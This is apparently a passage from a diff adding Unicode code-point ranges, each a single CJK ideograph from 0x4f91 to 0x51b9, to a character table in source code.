+ [0x4f91, 0x4f91], /* CJK Ideograph */
+ [0x4f92, 0x4f92], /* CJK Ideograph */
+ [0x4f93, 0x4f93], /* CJK Ideograph */
+ [0x4f94, 0x4f94], /* CJK Ideograph */
+ [0x4f95, 0x4f95], /* CJK Ideograph */
+ [0x4f96, 0x4f96], /* CJK Ideograph */
+ [0x4f97, 0x4f97], /* CJK Ideograph */
+ [0x4f98, 0x4f98], /* CJK Ideograph */
+ [0x4f99, 0x4f99], /* CJK Ideograph */
+ [0x4f9a, 0x4f9a], /* CJK Ideograph */
+ [0x4f9b, 0x4f9b], /* CJK Ideograph */
+ [0x4f9c, 0x4f9c], /* CJK Ideograph */
+ [0x4f9d, 0x4f9d], /* CJK Ideograph */
+ [0x4f9e, 0x4f9e], /* CJK Ideograph */
+ [0x4f9f, 0x4f9f], /* CJK Ideograph */
+ [0x4fa0, 0x4fa0], /* CJK Ideograph */
+ [0x4fa1, 0x4fa1], /* CJK Ideograph */
+ [0x4fa2, 0x4fa2], /* CJK Ideograph */
+ [0x4fa3, 0x4fa3], /* CJK Ideograph */
+ [0x4fa4, 0x4fa4], /* CJK Ideograph */
+ [0x4fa5, 0x4fa5], /* CJK Ideograph */
+ [0x4fa6, 0x4fa6], /* CJK Ideograph */
+ [0x4fa7, 0x4fa7], /* CJK Ideograph */
+ [0x4fa8, 0x4fa8], /* CJK Ideograph */
+ [0x4fa9, 0x4fa9], /* CJK Ideograph */
+ [0x4faa, 0x4faa], /* CJK Ideograph */
+ [0x4fab, 0x4fab], /* CJK Ideograph */
+ [0x4fac, 0x4fac], /* CJK Ideograph */
+ [0x4fad, 0x4fad], /* CJK Ideograph */
+ [0x4fae, 0x4fae], /* CJK Ideograph */
+ [0x4faf, 0x4faf], /* CJK Ideograph */
+ [0x4fb0, 0x4fb0], /* CJK Ideograph */
+ [0x4fb1, 0x4fb1], /* CJK Ideograph */
+ [0x4fb2, 0x4fb2], /* CJK Ideograph */
+ [0x4fb3, 0x4fb3], /* CJK Ideograph */
+ [0x4fb4, 0x4fb4], /* CJK Ideograph */
+ [0x4fb5, 0x4fb5], /* CJK Ideograph */
+ [0x4fb6, 0x4fb6], /* CJK Ideograph */
+ [0x4fb7, 0x4fb7], /* CJK Ideograph */
+ [0x4fb8, 0x4fb8], /* CJK Ideograph */
+ [0x4fb9, 0x4fb9], /* CJK Ideograph */
+ [0x4fba, 0x4fba], /* CJK Ideograph */
+ [0x4fbb, 0x4fbb], /* CJK Ideograph */
+ [0x4fbc, 0x4fbc], /* CJK Ideograph */
+ [0x4fbd, 0x4fbd], /* CJK Ideograph */
+ [0x4fbe, 0x4fbe], /* CJK Ideograph */
+ [0x4fbf, 0x4fbf], /* CJK Ideograph */
+ [0x4fc0, 0x4fc0], /* CJK Ideograph */
+ [0x4fc1, 0x4fc1], /* CJK Ideograph */
+ [0x4fc2, 0x4fc2], /* CJK Ideograph */
+ [0x4fc3, 0x4fc3], /* CJK Ideograph */
+ [0x4fc4, 0x4fc4], /* CJK Ideograph */
+ [0x4fc5, 0x4fc5], /* CJK Ideograph */
+ [0x4fc6, 0x4fc6], /* CJK Ideograph */
+ [0x4fc7, 0x4fc7], /* CJK Ideograph */
+ [0x4fc8, 0x4fc8], /* CJK Ideograph */
+ [0x4fc9, 0x4fc9], /* CJK Ideograph */
+ [0x4fca, 0x4fca], /* CJK Ideograph */
+ [0x4fcb, 0x4fcb], /* CJK Ideograph */
+ [0x4fcc, 0x4fcc], /* CJK Ideograph */
+ [0x4fcd, 0x4fcd], /* CJK Ideograph */
+ [0x4fce, 0x4fce], /* CJK Ideograph */
+ [0x4fcf, 0x4fcf], /* CJK Ideograph */
+ [0x4fd0, 0x4fd0], /* CJK Ideograph */
+ [0x4fd1, 0x4fd1], /* CJK Ideograph */
+ [0x4fd2, 0x4fd2], /* CJK Ideograph */
+ [0x4fd3, 0x4fd3], /* CJK Ideograph */
+ [0x4fd4, 0x4fd4], /* CJK Ideograph */
+ [0x4fd5, 0x4fd5], /* CJK Ideograph */
+ [0x4fd6, 0x4fd6], /* CJK Ideograph */
+ [0x4fd7, 0x4fd7], /* CJK Ideograph */
+ [0x4fd8, 0x4fd8], /* CJK Ideograph */
+ [0x4fd9, 0x4fd9], /* CJK Ideograph */
+ [0x4fda, 0x4fda], /* CJK Ideograph */
+ [0x4fdb, 0x4fdb], /* CJK Ideograph */
+ [0x4fdc, 0x4fdc], /* CJK Ideograph */
+ [0x4fdd, 0x4fdd], /* CJK Ideograph */
+ [0x4fde, 0x4fde], /* CJK Ideograph */
+ [0x4fdf, 0x4fdf], /* CJK Ideograph */
+ [0x4fe0, 0x4fe0], /* CJK Ideograph */
+ [0x4fe1, 0x4fe1], /* CJK Ideograph */
+ [0x4fe2, 0x4fe2], /* CJK Ideograph */
+ [0x4fe3, 0x4fe3], /* CJK Ideograph */
+ [0x4fe4, 0x4fe4], /* CJK Ideograph */
+ [0x4fe5, 0x4fe5], /* CJK Ideograph */
+ [0x4fe6, 0x4fe6], /* CJK Ideograph */
+ [0x4fe7, 0x4fe7], /* CJK Ideograph */
+ [0x4fe8, 0x4fe8], /* CJK Ideograph */
+ [0x4fe9, 0x4fe9], /* CJK Ideograph */
+ [0x4fea, 0x4fea], /* CJK Ideograph */
+ [0x4feb, 0x4feb], /* CJK Ideograph */
+ [0x4fec, 0x4fec], /* CJK Ideograph */
+ [0x4fed, 0x4fed], /* CJK Ideograph */
+ [0x4fee, 0x4fee], /* CJK Ideograph */
+ [0x4fef, 0x4fef], /* CJK Ideograph */
+ [0x4ff0, 0x4ff0], /* CJK Ideograph */
+ [0x4ff1, 0x4ff1], /* CJK Ideograph */
+ [0x4ff2, 0x4ff2], /* CJK Ideograph */
+ [0x4ff3, 0x4ff3], /* CJK Ideograph */
+ [0x4ff4, 0x4ff4], /* CJK Ideograph */
+ [0x4ff5, 0x4ff5], /* CJK Ideograph */
+ [0x4ff6, 0x4ff6], /* CJK Ideograph */
+ [0x4ff7, 0x4ff7], /* CJK Ideograph */
+ [0x4ff8, 0x4ff8], /* CJK Ideograph */
+ [0x4ff9, 0x4ff9], /* CJK Ideograph */
+ [0x4ffa, 0x4ffa], /* CJK Ideograph */
+ [0x4ffb, 0x4ffb], /* CJK Ideograph */
+ [0x4ffc, 0x4ffc], /* CJK Ideograph */
+ [0x4ffd, 0x4ffd], /* CJK Ideograph */
+ [0x4ffe, 0x4ffe], /* CJK Ideograph */
+ [0x4fff, 0x4fff], /* CJK Ideograph */
+ [0x5000, 0x5000], /* CJK Ideograph */
+ [0x5001, 0x5001], /* CJK Ideograph */
+ [0x5002, 0x5002], /* CJK Ideograph */
+ [0x5003, 0x5003], /* CJK Ideograph */
+ [0x5004, 0x5004], /* CJK Ideograph */
+ [0x5005, 0x5005], /* CJK Ideograph */
+ [0x5006, 0x5006], /* CJK Ideograph */
+ [0x5007, 0x5007], /* CJK Ideograph */
+ [0x5008, 0x5008], /* CJK Ideograph */
+ [0x5009, 0x5009], /* CJK Ideograph */
+ [0x500a, 0x500a], /* CJK Ideograph */
+ [0x500b, 0x500b], /* CJK Ideograph */
+ [0x500c, 0x500c], /* CJK Ideograph */
+ [0x500d, 0x500d], /* CJK Ideograph */
+ [0x500e, 0x500e], /* CJK Ideograph */
+ [0x500f, 0x500f], /* CJK Ideograph */
+ [0x5010, 0x5010], /* CJK Ideograph */
+ [0x5011, 0x5011], /* CJK Ideograph */
+ [0x5012, 0x5012], /* CJK Ideograph */
+ [0x5013, 0x5013], /* CJK Ideograph */
+ [0x5014, 0x5014], /* CJK Ideograph */
+ [0x5015, 0x5015], /* CJK Ideograph */
+ [0x5016, 0x5016], /* CJK Ideograph */
+ [0x5017, 0x5017], /* CJK Ideograph */
+ [0x5018, 0x5018], /* CJK Ideograph */
+ [0x5019, 0x5019], /* CJK Ideograph */
+ [0x501a, 0x501a], /* CJK Ideograph */
+ [0x501b, 0x501b], /* CJK Ideograph */
+ [0x501c, 0x501c], /* CJK Ideograph */
+ [0x501d, 0x501d], /* CJK Ideograph */
+ [0x501e, 0x501e], /* CJK Ideograph */
+ [0x501f, 0x501f], /* CJK Ideograph */
+ [0x5020, 0x5020], /* CJK Ideograph */
+ [0x5021, 0x5021], /* CJK Ideograph */
+ [0x5022, 0x5022], /* CJK Ideograph */
+ [0x5023, 0x5023], /* CJK Ideograph */
+ [0x5024, 0x5024], /* CJK Ideograph */
+ [0x5025, 0x5025], /* CJK Ideograph */
+ [0x5026, 0x5026], /* CJK Ideograph */
+ [0x5027, 0x5027], /* CJK Ideograph */
+ [0x5028, 0x5028], /* CJK Ideograph */
+ [0x5029, 0x5029], /* CJK Ideograph */
+ [0x502a, 0x502a], /* CJK Ideograph */
+ [0x502b, 0x502b], /* CJK Ideograph */
+ [0x502c, 0x502c], /* CJK Ideograph */
+ [0x502d, 0x502d], /* CJK Ideograph */
+ [0x502e, 0x502e], /* CJK Ideograph */
+ [0x502f, 0x502f], /* CJK Ideograph */
+ [0x5030, 0x5030], /* CJK Ideograph */
+ [0x5031, 0x5031], /* CJK Ideograph */
+ [0x5032, 0x5032], /* CJK Ideograph */
+ [0x5033, 0x5033], /* CJK Ideograph */
+ [0x5034, 0x5034], /* CJK Ideograph */
+ [0x5035, 0x5035], /* CJK Ideograph */
+ [0x5036, 0x5036], /* CJK Ideograph */
+ [0x5037, 0x5037], /* CJK Ideograph */
+ [0x5038, 0x5038], /* CJK Ideograph */
+ [0x5039, 0x5039], /* CJK Ideograph */
+ [0x503a, 0x503a], /* CJK Ideograph */
+ [0x503b, 0x503b], /* CJK Ideograph */
+ [0x503c, 0x503c], /* CJK Ideograph */
+ [0x503d, 0x503d], /* CJK Ideograph */
+ [0x503e, 0x503e], /* CJK Ideograph */
+ [0x503f, 0x503f], /* CJK Ideograph */
+ [0x5040, 0x5040], /* CJK Ideograph */
+ [0x5041, 0x5041], /* CJK Ideograph */
+ [0x5042, 0x5042], /* CJK Ideograph */
+ [0x5043, 0x5043], /* CJK Ideograph */
+ [0x5044, 0x5044], /* CJK Ideograph */
+ [0x5045, 0x5045], /* CJK Ideograph */
+ [0x5046, 0x5046], /* CJK Ideograph */
+ [0x5047, 0x5047], /* CJK Ideograph */
+ [0x5048, 0x5048], /* CJK Ideograph */
+ [0x5049, 0x5049], /* CJK Ideograph */
+ [0x504a, 0x504a], /* CJK Ideograph */
+ [0x504b, 0x504b], /* CJK Ideograph */
+ [0x504c, 0x504c], /* CJK Ideograph */
+ [0x504d, 0x504d], /* CJK Ideograph */
+ [0x504e, 0x504e], /* CJK Ideograph */
+ [0x504f, 0x504f], /* CJK Ideograph */
+ [0x5050, 0x5050], /* CJK Ideograph */
+ [0x5051, 0x5051], /* CJK Ideograph */
+ [0x5052, 0x5052], /* CJK Ideograph */
+ [0x5053, 0x5053], /* CJK Ideograph */
+ [0x5054, 0x5054], /* CJK Ideograph */
+ [0x5055, 0x5055], /* CJK Ideograph */
+ [0x5056, 0x5056], /* CJK Ideograph */
+ [0x5057, 0x5057], /* CJK Ideograph */
+ [0x5058, 0x5058], /* CJK Ideograph */
+ [0x5059, 0x5059], /* CJK Ideograph */
+ [0x505a, 0x505a], /* CJK Ideograph */
+ [0x505b, 0x505b], /* CJK Ideograph */
+ [0x505c, 0x505c], /* CJK Ideograph */
+ [0x505d, 0x505d], /* CJK Ideograph */
+ [0x505e, 0x505e], /* CJK Ideograph */
+ [0x505f, 0x505f], /* CJK Ideograph */
+ [0x5060, 0x5060], /* CJK Ideograph */
+ [0x5061, 0x5061], /* CJK Ideograph */
+ [0x5062, 0x5062], /* CJK Ideograph */
+ [0x5063, 0x5063], /* CJK Ideograph */
+ [0x5064, 0x5064], /* CJK Ideograph */
+ [0x5065, 0x5065], /* CJK Ideograph */
+ [0x5066, 0x5066], /* CJK Ideograph */
+ [0x5067, 0x5067], /* CJK Ideograph */
+ [0x5068, 0x5068], /* CJK Ideograph */
+ [0x5069, 0x5069], /* CJK Ideograph */
+ [0x506a, 0x506a], /* CJK Ideograph */
+ [0x506b, 0x506b], /* CJK Ideograph */
+ [0x506c, 0x506c], /* CJK Ideograph */
+ [0x506d, 0x506d], /* CJK Ideograph */
+ [0x506e, 0x506e], /* CJK Ideograph */
+ [0x506f, 0x506f], /* CJK Ideograph */
+ [0x5070, 0x5070], /* CJK Ideograph */
+ [0x5071, 0x5071], /* CJK Ideograph */
+ [0x5072, 0x5072], /* CJK Ideograph */
+ [0x5073, 0x5073], /* CJK Ideograph */
+ [0x5074, 0x5074], /* CJK Ideograph */
+ [0x5075, 0x5075], /* CJK Ideograph */
+ [0x5076, 0x5076], /* CJK Ideograph */
+ [0x5077, 0x5077], /* CJK Ideograph */
+ [0x5078, 0x5078], /* CJK Ideograph */
+ [0x5079, 0x5079], /* CJK Ideograph */
+ [0x507a, 0x507a], /* CJK Ideograph */
+ [0x507b, 0x507b], /* CJK Ideograph */
+ [0x507c, 0x507c], /* CJK Ideograph */
+ [0x507d, 0x507d], /* CJK Ideograph */
+ [0x507e, 0x507e], /* CJK Ideograph */
+ [0x507f, 0x507f], /* CJK Ideograph */
+ [0x5080, 0x5080], /* CJK Ideograph */
+ [0x5081, 0x5081], /* CJK Ideograph */
+ [0x5082, 0x5082], /* CJK Ideograph */
+ [0x5083, 0x5083], /* CJK Ideograph */
+ [0x5084, 0x5084], /* CJK Ideograph */
+ [0x5085, 0x5085], /* CJK Ideograph */
+ [0x5086, 0x5086], /* CJK Ideograph */
+ [0x5087, 0x5087], /* CJK Ideograph */
+ [0x5088, 0x5088], /* CJK Ideograph */
+ [0x5089, 0x5089], /* CJK Ideograph */
+ [0x508a, 0x508a], /* CJK Ideograph */
+ [0x508b, 0x508b], /* CJK Ideograph */
+ [0x508c, 0x508c], /* CJK Ideograph */
+ [0x508d, 0x508d], /* CJK Ideograph */
+ [0x508e, 0x508e], /* CJK Ideograph */
+ [0x508f, 0x508f], /* CJK Ideograph */
+ [0x5090, 0x5090], /* CJK Ideograph */
+ [0x5091, 0x5091], /* CJK Ideograph */
+ [0x5092, 0x5092], /* CJK Ideograph */
+ [0x5093, 0x5093], /* CJK Ideograph */
+ [0x5094, 0x5094], /* CJK Ideograph */
+ [0x5095, 0x5095], /* CJK Ideograph */
+ [0x5096, 0x5096], /* CJK Ideograph */
+ [0x5097, 0x5097], /* CJK Ideograph */
+ [0x5098, 0x5098], /* CJK Ideograph */
+ [0x5099, 0x5099], /* CJK Ideograph */
+ [0x509a, 0x509a], /* CJK Ideograph */
+ [0x509b, 0x509b], /* CJK Ideograph */
+ [0x509c, 0x509c], /* CJK Ideograph */
+ [0x509d, 0x509d], /* CJK Ideograph */
+ [0x509e, 0x509e], /* CJK Ideograph */
+ [0x509f, 0x509f], /* CJK Ideograph */
+ [0x50a0, 0x50a0], /* CJK Ideograph */
+ [0x50a1, 0x50a1], /* CJK Ideograph */
+ [0x50a2, 0x50a2], /* CJK Ideograph */
+ [0x50a3, 0x50a3], /* CJK Ideograph */
+ [0x50a4, 0x50a4], /* CJK Ideograph */
+ [0x50a5, 0x50a5], /* CJK Ideograph */
+ [0x50a6, 0x50a6], /* CJK Ideograph */
+ [0x50a7, 0x50a7], /* CJK Ideograph */
+ [0x50a8, 0x50a8], /* CJK Ideograph */
+ [0x50a9, 0x50a9], /* CJK Ideograph */
+ [0x50aa, 0x50aa], /* CJK Ideograph */
+ [0x50ab, 0x50ab], /* CJK Ideograph */
+ [0x50ac, 0x50ac], /* CJK Ideograph */
+ [0x50ad, 0x50ad], /* CJK Ideograph */
+ [0x50ae, 0x50ae], /* CJK Ideograph */
+ [0x50af, 0x50af], /* CJK Ideograph */
+ [0x50b0, 0x50b0], /* CJK Ideograph */
+ [0x50b1, 0x50b1], /* CJK Ideograph */
+ [0x50b2, 0x50b2], /* CJK Ideograph */
+ [0x50b3, 0x50b3], /* CJK Ideograph */
+ [0x50b4, 0x50b4], /* CJK Ideograph */
+ [0x50b5, 0x50b5], /* CJK Ideograph */
+ [0x50b6, 0x50b6], /* CJK Ideograph */
+ [0x50b7, 0x50b7], /* CJK Ideograph */
+ [0x50b8, 0x50b8], /* CJK Ideograph */
+ [0x50b9, 0x50b9], /* CJK Ideograph */
+ [0x50ba, 0x50ba], /* CJK Ideograph */
+ [0x50bb, 0x50bb], /* CJK Ideograph */
+ [0x50bc, 0x50bc], /* CJK Ideograph */
+ [0x50bd, 0x50bd], /* CJK Ideograph */
+ [0x50be, 0x50be], /* CJK Ideograph */
+ [0x50bf, 0x50bf], /* CJK Ideograph */
+ [0x50c0, 0x50c0], /* CJK Ideograph */
+ [0x50c1, 0x50c1], /* CJK Ideograph */
+ [0x50c2, 0x50c2], /* CJK Ideograph */
+ [0x50c3, 0x50c3], /* CJK Ideograph */
+ [0x50c4, 0x50c4], /* CJK Ideograph */
+ [0x50c5, 0x50c5], /* CJK Ideograph */
+ [0x50c6, 0x50c6], /* CJK Ideograph */
+ [0x50c7, 0x50c7], /* CJK Ideograph */
+ [0x50c8, 0x50c8], /* CJK Ideograph */
+ [0x50c9, 0x50c9], /* CJK Ideograph */
+ [0x50ca, 0x50ca], /* CJK Ideograph */
+ [0x50cb, 0x50cb], /* CJK Ideograph */
+ [0x50cc, 0x50cc], /* CJK Ideograph */
+ [0x50cd, 0x50cd], /* CJK Ideograph */
+ [0x50ce, 0x50ce], /* CJK Ideograph */
+ [0x50cf, 0x50cf], /* CJK Ideograph */
+ [0x50d0, 0x50d0], /* CJK Ideograph */
+ [0x50d1, 0x50d1], /* CJK Ideograph */
+ [0x50d2, 0x50d2], /* CJK Ideograph */
+ [0x50d3, 0x50d3], /* CJK Ideograph */
+ [0x50d4, 0x50d4], /* CJK Ideograph */
+ [0x50d5, 0x50d5], /* CJK Ideograph */
+ [0x50d6, 0x50d6], /* CJK Ideograph */
+ [0x50d7, 0x50d7], /* CJK Ideograph */
+ [0x50d8, 0x50d8], /* CJK Ideograph */
+ [0x50d9, 0x50d9], /* CJK Ideograph */
+ [0x50da, 0x50da], /* CJK Ideograph */
+ [0x50db, 0x50db], /* CJK Ideograph */
+ [0x50dc, 0x50dc], /* CJK Ideograph */
+ [0x50dd, 0x50dd], /* CJK Ideograph */
+ [0x50de, 0x50de], /* CJK Ideograph */
+ [0x50df, 0x50df], /* CJK Ideograph */
+ [0x50e0, 0x50e0], /* CJK Ideograph */
+ [0x50e1, 0x50e1], /* CJK Ideograph */
+ [0x50e2, 0x50e2], /* CJK Ideograph */
+ [0x50e3, 0x50e3], /* CJK Ideograph */
+ [0x50e4, 0x50e4], /* CJK Ideograph */
+ [0x50e5, 0x50e5], /* CJK Ideograph */
+ [0x50e6, 0x50e6], /* CJK Ideograph */
+ [0x50e7, 0x50e7], /* CJK Ideograph */
+ [0x50e8, 0x50e8], /* CJK Ideograph */
+ [0x50e9, 0x50e9], /* CJK Ideograph */
+ [0x50ea, 0x50ea], /* CJK Ideograph */
+ [0x50eb, 0x50eb], /* CJK Ideograph */
+ [0x50ec, 0x50ec], /* CJK Ideograph */
+ [0x50ed, 0x50ed], /* CJK Ideograph */
+ [0x50ee, 0x50ee], /* CJK Ideograph */
+ [0x50ef, 0x50ef], /* CJK Ideograph */
+ [0x50f0, 0x50f0], /* CJK Ideograph */
+ [0x50f1, 0x50f1], /* CJK Ideograph */
+ [0x50f2, 0x50f2], /* CJK Ideograph */
+ [0x50f3, 0x50f3], /* CJK Ideograph */
+ [0x50f4, 0x50f4], /* CJK Ideograph */
+ [0x50f5, 0x50f5], /* CJK Ideograph */
+ [0x50f6, 0x50f6], /* CJK Ideograph */
+ [0x50f7, 0x50f7], /* CJK Ideograph */
+ [0x50f8, 0x50f8], /* CJK Ideograph */
+ [0x50f9, 0x50f9], /* CJK Ideograph */
+ [0x50fa, 0x50fa], /* CJK Ideograph */
+ [0x50fb, 0x50fb], /* CJK Ideograph */
+ [0x50fc, 0x50fc], /* CJK Ideograph */
+ [0x50fd, 0x50fd], /* CJK Ideograph */
+ [0x50fe, 0x50fe], /* CJK Ideograph */
+ [0x50ff, 0x50ff], /* CJK Ideograph */
+ [0x5100, 0x5100], /* CJK Ideograph */
+ [0x5101, 0x5101], /* CJK Ideograph */
+ [0x5102, 0x5102], /* CJK Ideograph */
+ [0x5103, 0x5103], /* CJK Ideograph */
+ [0x5104, 0x5104], /* CJK Ideograph */
+ [0x5105, 0x5105], /* CJK Ideograph */
+ [0x5106, 0x5106], /* CJK Ideograph */
+ [0x5107, 0x5107], /* CJK Ideograph */
+ [0x5108, 0x5108], /* CJK Ideograph */
+ [0x5109, 0x5109], /* CJK Ideograph */
+ [0x510a, 0x510a], /* CJK Ideograph */
+ [0x510b, 0x510b], /* CJK Ideograph */
+ [0x510c, 0x510c], /* CJK Ideograph */
+ [0x510d, 0x510d], /* CJK Ideograph */
+ [0x510e, 0x510e], /* CJK Ideograph */
+ [0x510f, 0x510f], /* CJK Ideograph */
+ [0x5110, 0x5110], /* CJK Ideograph */
+ [0x5111, 0x5111], /* CJK Ideograph */
+ [0x5112, 0x5112], /* CJK Ideograph */
+ [0x5113, 0x5113], /* CJK Ideograph */
+ [0x5114, 0x5114], /* CJK Ideograph */
+ [0x5115, 0x5115], /* CJK Ideograph */
+ [0x5116, 0x5116], /* CJK Ideograph */
+ [0x5117, 0x5117], /* CJK Ideograph */
+ [0x5118, 0x5118], /* CJK Ideograph */
+ [0x5119, 0x5119], /* CJK Ideograph */
+ [0x511a, 0x511a], /* CJK Ideograph */
+ [0x511b, 0x511b], /* CJK Ideograph */
+ [0x511c, 0x511c], /* CJK Ideograph */
+ [0x511d, 0x511d], /* CJK Ideograph */
+ [0x511e, 0x511e], /* CJK Ideograph */
+ [0x511f, 0x511f], /* CJK Ideograph */
+ [0x5120, 0x5120], /* CJK Ideograph */
+ [0x5121, 0x5121], /* CJK Ideograph */
+ [0x5122, 0x5122], /* CJK Ideograph */
+ [0x5123, 0x5123], /* CJK Ideograph */
+ [0x5124, 0x5124], /* CJK Ideograph */
+ [0x5125, 0x5125], /* CJK Ideograph */
+ [0x5126, 0x5126], /* CJK Ideograph */
+ [0x5127, 0x5127], /* CJK Ideograph */
+ [0x5128, 0x5128], /* CJK Ideograph */
+ [0x5129, 0x5129], /* CJK Ideograph */
+ [0x512a, 0x512a], /* CJK Ideograph */
+ [0x512b, 0x512b], /* CJK Ideograph */
+ [0x512c, 0x512c], /* CJK Ideograph */
+ [0x512d, 0x512d], /* CJK Ideograph */
+ [0x512e, 0x512e], /* CJK Ideograph */
+ [0x512f, 0x512f], /* CJK Ideograph */
+ [0x5130, 0x5130], /* CJK Ideograph */
+ [0x5131, 0x5131], /* CJK Ideograph */
+ [0x5132, 0x5132], /* CJK Ideograph */
+ [0x5133, 0x5133], /* CJK Ideograph */
+ [0x5134, 0x5134], /* CJK Ideograph */
+ [0x5135, 0x5135], /* CJK Ideograph */
+ [0x5136, 0x5136], /* CJK Ideograph */
+ [0x5137, 0x5137], /* CJK Ideograph */
+ [0x5138, 0x5138], /* CJK Ideograph */
+ [0x5139, 0x5139], /* CJK Ideograph */
+ [0x513a, 0x513a], /* CJK Ideograph */
+ [0x513b, 0x513b], /* CJK Ideograph */
+ [0x513c, 0x513c], /* CJK Ideograph */
+ [0x513d, 0x513d], /* CJK Ideograph */
+ [0x513e, 0x513e], /* CJK Ideograph */
+ [0x513f, 0x513f], /* CJK Ideograph */
+ [0x5140, 0x5140], /* CJK Ideograph */
+ [0x5141, 0x5141], /* CJK Ideograph */
+ [0x5142, 0x5142], /* CJK Ideograph */
+ [0x5143, 0x5143], /* CJK Ideograph */
+ [0x5144, 0x5144], /* CJK Ideograph */
+ [0x5145, 0x5145], /* CJK Ideograph */
+ [0x5146, 0x5146], /* CJK Ideograph */
+ [0x5147, 0x5147], /* CJK Ideograph */
+ [0x5148, 0x5148], /* CJK Ideograph */
+ [0x5149, 0x5149], /* CJK Ideograph */
+ [0x514a, 0x514a], /* CJK Ideograph */
+ [0x514b, 0x514b], /* CJK Ideograph */
+ [0x514c, 0x514c], /* CJK Ideograph */
+ [0x514d, 0x514d], /* CJK Ideograph */
+ [0x514e, 0x514e], /* CJK Ideograph */
+ [0x514f, 0x514f], /* CJK Ideograph */
+ [0x5150, 0x5150], /* CJK Ideograph */
+ [0x5151, 0x5151], /* CJK Ideograph */
+ [0x5152, 0x5152], /* CJK Ideograph */
+ [0x5153, 0x5153], /* CJK Ideograph */
+ [0x5154, 0x5154], /* CJK Ideograph */
+ [0x5155, 0x5155], /* CJK Ideograph */
+ [0x5156, 0x5156], /* CJK Ideograph */
+ [0x5157, 0x5157], /* CJK Ideograph */
+ [0x5158, 0x5158], /* CJK Ideograph */
+ [0x5159, 0x5159], /* CJK Ideograph */
+ [0x515a, 0x515a], /* CJK Ideograph */
+ [0x515b, 0x515b], /* CJK Ideograph */
+ [0x515c, 0x515c], /* CJK Ideograph */
+ [0x515d, 0x515d], /* CJK Ideograph */
+ [0x515e, 0x515e], /* CJK Ideograph */
+ [0x515f, 0x515f], /* CJK Ideograph */
+ [0x5160, 0x5160], /* CJK Ideograph */
+ [0x5161, 0x5161], /* CJK Ideograph */
+ [0x5162, 0x5162], /* CJK Ideograph */
+ [0x5163, 0x5163], /* CJK Ideograph */
+ [0x5164, 0x5164], /* CJK Ideograph */
+ [0x5165, 0x5165], /* CJK Ideograph */
+ [0x5166, 0x5166], /* CJK Ideograph */
+ [0x5167, 0x5167], /* CJK Ideograph */
+ [0x5168, 0x5168], /* CJK Ideograph */
+ [0x5169, 0x5169], /* CJK Ideograph */
+ [0x516a, 0x516a], /* CJK Ideograph */
+ [0x516b, 0x516b], /* CJK Ideograph */
+ [0x516c, 0x516c], /* CJK Ideograph */
+ [0x516d, 0x516d], /* CJK Ideograph */
+ [0x516e, 0x516e], /* CJK Ideograph */
+ [0x516f, 0x516f], /* CJK Ideograph */
+ [0x5170, 0x5170], /* CJK Ideograph */
+ [0x5171, 0x5171], /* CJK Ideograph */
+ [0x5172, 0x5172], /* CJK Ideograph */
+ [0x5173, 0x5173], /* CJK Ideograph */
+ [0x5174, 0x5174], /* CJK Ideograph */
+ [0x5175, 0x5175], /* CJK Ideograph */
+ [0x5176, 0x5176], /* CJK Ideograph */
+ [0x5177, 0x5177], /* CJK Ideograph */
+ [0x5178, 0x5178], /* CJK Ideograph */
+ [0x5179, 0x5179], /* CJK Ideograph */
+ [0x517a, 0x517a], /* CJK Ideograph */
+ [0x517b, 0x517b], /* CJK Ideograph */
+ [0x517c, 0x517c], /* CJK Ideograph */
+ [0x517d, 0x517d], /* CJK Ideograph */
+ [0x517e, 0x517e], /* CJK Ideograph */
+ [0x517f, 0x517f], /* CJK Ideograph */
+ [0x5180, 0x5180], /* CJK Ideograph */
+ [0x5181, 0x5181], /* CJK Ideograph */
+ [0x5182, 0x5182], /* CJK Ideograph */
+ [0x5183, 0x5183], /* CJK Ideograph */
+ [0x5184, 0x5184], /* CJK Ideograph */
+ [0x5185, 0x5185], /* CJK Ideograph */
+ [0x5186, 0x5186], /* CJK Ideograph */
+ [0x5187, 0x5187], /* CJK Ideograph */
+ [0x5188, 0x5188], /* CJK Ideograph */
+ [0x5189, 0x5189], /* CJK Ideograph */
+ [0x518a, 0x518a], /* CJK Ideograph */
+ [0x518b, 0x518b], /* CJK Ideograph */
+ [0x518c, 0x518c], /* CJK Ideograph */
+ [0x518d, 0x518d], /* CJK Ideograph */
+ [0x518e, 0x518e], /* CJK Ideograph */
+ [0x518f, 0x518f], /* CJK Ideograph */
+ [0x5190, 0x5190], /* CJK Ideograph */
+ [0x5191, 0x5191], /* CJK Ideograph */
+ [0x5192, 0x5192], /* CJK Ideograph */
+ [0x5193, 0x5193], /* CJK Ideograph */
+ [0x5194, 0x5194], /* CJK Ideograph */
+ [0x5195, 0x5195], /* CJK Ideograph */
+ [0x5196, 0x5196], /* CJK Ideograph */
+ [0x5197, 0x5197], /* CJK Ideograph */
+ [0x5198, 0x5198], /* CJK Ideograph */
+ [0x5199, 0x5199], /* CJK Ideograph */
+ [0x519a, 0x519a], /* CJK Ideograph */
+ [0x519b, 0x519b], /* CJK Ideograph */
+ [0x519c, 0x519c], /* CJK Ideograph */
+ [0x519d, 0x519d], /* CJK Ideograph */
+ [0x519e, 0x519e], /* CJK Ideograph */
+ [0x519f, 0x519f], /* CJK Ideograph */
+ [0x51a0, 0x51a0], /* CJK Ideograph */
+ [0x51a1, 0x51a1], /* CJK Ideograph */
+ [0x51a2, 0x51a2], /* CJK Ideograph */
+ [0x51a3, 0x51a3], /* CJK Ideograph */
+ [0x51a4, 0x51a4], /* CJK Ideograph */
+ [0x51a5, 0x51a5], /* CJK Ideograph */
+ [0x51a6, 0x51a6], /* CJK Ideograph */
+ [0x51a7, 0x51a7], /* CJK Ideograph */
+ [0x51a8, 0x51a8], /* CJK Ideograph */
+ [0x51a9, 0x51a9], /* CJK Ideograph */
+ [0x51aa, 0x51aa], /* CJK Ideograph */
+ [0x51ab, 0x51ab], /* CJK Ideograph */
+ [0x51ac, 0x51ac], /* CJK Ideograph */
+ [0x51ad, 0x51ad], /* CJK Ideograph */
+ [0x51ae, 0x51ae], /* CJK Ideograph */
+ [0x51af, 0x51af], /* CJK Ideograph */
+ [0x51b0, 0x51b0], /* CJK Ideograph */
+ [0x51b1, 0x51b1], /* CJK Ideograph */
+ [0x51b2, 0x51b2], /* CJK Ideograph */
+ [0x51b3, 0x51b3], /* CJK Ideograph */
+ [0x51b4, 0x51b4], /* CJK Ideograph */
+ [0x51b5, 0x51b5], /* CJK Ideograph */
+ [0x51b6, 0x51b6], /* CJK Ideograph */
+ [0x51b7, 0x51b7], /* CJK Ideograph */
+ [0x51b8, 0x51b8], /* CJK Ideograph */
+ [0x51b9, 0x51b9], /* CJK Ideograph */
